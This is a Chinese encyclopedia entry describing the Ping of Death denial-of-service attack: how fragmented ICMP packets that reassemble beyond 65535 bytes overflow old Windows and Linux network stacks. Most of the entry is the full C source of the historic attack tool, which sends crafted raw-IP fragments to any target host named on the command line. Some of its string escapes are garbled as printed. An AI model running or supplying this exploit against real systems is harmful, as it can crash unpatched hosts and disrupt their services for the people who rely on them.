词条 | Ping of Death |
释义 | 在因特网上,ping of death是一种拒绝服务攻击,方法是由攻击者故意发送大于65535字节的ip数据包给对方。 TCP/IP的特征之一是碎裂;它允许单一IP包被分为几个更小的数据包。在1996年,攻击者开始利用那一个功能,当他们发现一个进入使用碎片包可以将整个IP包的大小增加到ip协议允许的65536比特以上的时候。当许多操作系统收到一个特大号的ip包时候,它们不知道该做什么,因此,服务器会被冻结、当机或重新启动。 ICMP的回送请求和应答报文通常是用来检查网路连通性,对于大多数系统而言,发送ICMP echo request 报文的命令是ping ,由于ip数据包的最大长度为65535字节。而ICMP报头位于数据报头之后,并与ip数据包封装在一起,因此ICMP数据包最大尺寸不超过65515字节利用这一规定,可以向主机发动 ping of death 攻击。ping of death 攻击 是通过在最后分段中,改变其正确的偏移量和段长度的组合,使系统在接收到全部分段并重组报文时总的长度超过了65535字节,导致内存溢出,这时主机就会出现内存分配错误而导致TCP/IP堆栈崩溃,导致死机! ping_of_death简述summarization: 通过分片传输大于64k的包,导致系统崩溃 vulnerable system: old windows version or old linux version in rfc 791 desctibed the maximum ip packet size is 65535, if a system has't check fragment size, when reassemble fragments may cause buffer overflow! bottom is the sketch map for ping_of_deatch. below is the ping_of_death source . #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> /* * If your kernel doesn't muck with raw packets, #define REALLY_RAW. * This is probably only Linux. */ #ifdef REALLY_RAW #define FIX(x) htons(x) #else #define FIX(x) (x) #endif int main(int argc, char **argv) { int s; char buf[1500]; struct ip *ip = (struct ip *)buf; struct icmp *icmp = (struct icmp *)(ip + 1); struct hostent *hp; struct sockaddr_in dst; int offset; int on = 1; bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc != 2) { fprintf(stderr, "usage: %s hostname\", argv[0]); exit(1); } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: unknown host\", argv[1]); } } else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); } printf("Sending to %s\", inet_ntoa(ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = FIX(sizeof buf); ip->ip_id = htons(4321); ip->ip_off = FIX(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_sum = 0; /* kernel fills in */ ip->ip_src.s_addr = 0; /* kernel fills in */ dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET; icmp->icmp_type = ICMP_ECHO; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); /* the checksum of all 0's is easy to compute */ for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = FIX(offset >> 3); if (offset < 65120) ip->ip_off |= FIX(IP_MF); else ip->ip_len = FIX(418); /* make total 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset); perror("sendto"); } if (offset == 0) { icmp->icmp_type = 0; icmp->icmp_code = 0; icmp->icmp_cksum = 0; } } } |
随便看 |
百科全书收录4421916条中文百科知识,基本涵盖了大多数领域的百科知识,是一部内容开放、自由的电子版百科全书。